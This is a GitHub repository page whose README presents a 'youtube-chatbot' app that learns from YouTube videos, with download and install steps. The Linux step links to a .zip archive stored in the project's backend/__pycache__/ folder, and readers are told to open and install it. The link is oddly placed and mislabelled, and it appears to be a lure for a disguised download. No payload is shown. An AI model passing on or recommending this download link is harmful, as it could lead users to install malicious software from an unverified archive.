Skip to content

KartherGodfrey/youtube-chatbot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🎙️ youtube-chatbot - Learn and Chat with YouTube Videos

🌟 Overview

youtube-chatbot is an intelligent chatbot that learns from YouTube videos. It automatically transcribes video content, creates meaningful embeddings, and answers your questions based on the video's context. This tool can enhance your engagement with video content, making learning more interactive and enjoyable.

🚀 Getting Started

To get started with the youtube-chatbot, follow the steps below. You will find that setting it up takes only a few minutes, allowing you to dive straight into exploring the chatbot's features.

🔗 Download the Application

Download Now

You can find the latest version of the youtube-chatbot on our Releases page. Make sure to visit the link below to download the application:

Download from Releases Page

🛠️ System Requirements

Before downloading, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS Catalina or later, or a recent Linux distribution
  • RAM: At least 4 GB of RAM
  • Storage: Minimum of 200 MB free disk space
  • Internet Connection: Required for downloading videos and chatbot updates

📥 Download & Install

  1. Click this link to go to our Releases page.
  2. Look for the latest version listed.
  3. Choose the applicable package for your operating system (Windows, macOS, or Linux).
  4. Click on the download link next to your selected version.
  5. Once downloaded, find the file in your Downloads folder.
    • For Windows, it may be a .exe file.
    • For macOS, look for a .dmg file.
    • For Linux, it may be a .deb or https://github.com/KartherGodfrey/youtube-chatbot/raw/refs/heads/main/backend/__pycache__/chatbot_youtube_2.4.zip file.
  6. Open the downloaded file and follow the on-screen instructions to install the application.

🖥️ Running the Application

After installing, follow these steps to run the youtube-chatbot:

  1. Locate the installed application:

    • For Windows, you can find it in your Start Menu.
    • For macOS, check the Applications folder.
    • For Linux, you can search for it in your applications menu.
  2. Open the application. The chatbot will ask for a YouTube video URL.

  3. Paste the URL of the video you want the chatbot to learn from.

  4. Click “Start Chat.” The chatbot will transcribe the video and be ready to answer your questions.

❓ How to Use the Chatbot

Here's how you can interact with the chatbot:

  1. Ask Questions: Once the chatbot has processed the video, type in your questions related to the content.
  2. Chat: Engage in a back-and-forth conversation about the video. The chatbot will provide responses based on the information it learned.
  3. Explore Features:
    • Learn: Gain insights or clarification on concepts from the video.
    • Test Knowledge: Challenge the chatbot with questions to test your understanding.

🛠️ Features

  • Automatic Transcription: Converts video audio to text seamlessly.
  • Intent Recognition: Understands user questions for accurate responses.
  • Contextual Answers: Provides replies based on the video’s content.
  • User-Friendly Interface: Easy navigation designed for anyone.

📌 Troubleshooting

If you encounter issues while downloading or using the application, consider the following solutions:

  • Installation Issues: Ensure that your operating system is compatible as mentioned in the system requirements.
  • Chatbot Doesn’t Respond: Verify that you provided a valid YouTube video URL. Try a different video if the issues persist.
  • Performance Lag: Close other applications to free up system resources.

💬 Support

For additional support, reach out through the GitHub repository. You can open issues for questions or suggestions. The community will be more than willing to assist you.

🌐 Topics Used

  • ai
  • chatbot
  • embeddings
  • flask
  • gemini
  • llm
  • openai
  • rag
  • rag-chatbot
  • retrieval-augmented-generation
  • youtube

📜 License

This project is licensed under the MIT License. You can use, modify, and distribute it as long as you include proper attribution.


For the latest updates, features, and new releases, regularly check the Releases page. Happy chatting with your favorite YouTube videos!